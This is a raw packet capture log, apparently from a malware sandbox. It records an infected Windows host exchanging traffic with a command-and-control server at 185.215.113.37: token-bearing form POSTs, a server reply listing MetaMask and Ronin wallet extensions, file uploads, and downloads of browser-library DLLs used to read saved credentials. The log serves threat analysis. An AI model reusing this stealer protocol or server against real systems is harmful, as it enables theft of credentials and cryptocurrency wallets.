Oct 13, 2024 11:54:03.484083891 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"fplugins------AKJDAEGCAFIIDGDGCGIJ--
Oct 13, 2024 11:54:03.715780973 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 13, 2024 11:54:03.779784918 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBGIDHCAAKEBAKFIIIEB Host: 185.215.113.37 Content-Length: 6611 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 11:54:03.779786110 CEST	6611	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 42 47 49 44 48 43 41 41 4b 45 42 41 4b 46 49 49 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 Data Ascii: ------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------FBGIDHCAAKEBAKFIIIEBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 13, 2024 11:54:04.520970106 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:04.875978947 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:05.106554031 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:04 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 13, 2024 11:54:05.106692076 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 13, 2024 11:54:05.106744051 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 13, 2024 11:54:06.896744967 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCF Host: 185.215.113.37 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 11:54:07.637522936 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:07.739451885 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.37 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 11:54:08.465636015 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:08.493494034 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBAKEGIDBGIEBFHDHJJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 41 4b 45 47 49 44 42 47 49 45 42 46 48 44 48 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDBAKEGIDBGIEBFHDHJJContent-Disposition: form-data; name="file"------GDBAKEGIDBGIEBFHDHJJ--
Oct 13, 2024 11:54:09.213794947 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:09.751163006 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCFBGIDAEHCFIDGCBGII Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 46 42 47 49 44 41 45 48 43 46 49 44 47 43 42 47 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FCFBGIDAEHCFIDGCBGIIContent-Disposition: form-data; name="file"------FCFBGIDAEHCFIDGCBGII--
Oct 13, 2024 11:54:10.480853081 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:10.919011116 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:11.147130013 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 13, 2024 11:54:12.120429993 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:12.350292921 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 13, 2024 11:54:12.813369989 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:13.041886091 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 13, 2024 11:54:13.394407988 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:13.622529984 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 13, 2024 11:54:15.125669003 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:15.354396105 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 13, 2024 11:54:15.541836977 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 11:54:15.769884109 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 13, 2024 11:54:16.263617992 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 11:54:16.997128963 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 09:54:16 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 11:54:17.058269978 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 61 30 32 37 61 37 35 32 66 30 32 62 63 31 30 62 32 33 30 31 38 66 65 64 64 38 30 30 65 31 31 37 38 63 34 32 64 30 32 37 35 34 63 31 61 64 37 38 33 32 35 34 63 32 39 62 66 61 33 33 32 39 30 31 32 36 61 39 64 34 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="token"aa027a752f02bc10b23018fedd800e1178c42d02754c1ad783254c29bfa33290126a9d4e------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="message"wallets------BKJEHCAKFBGDGCAAAFBG--
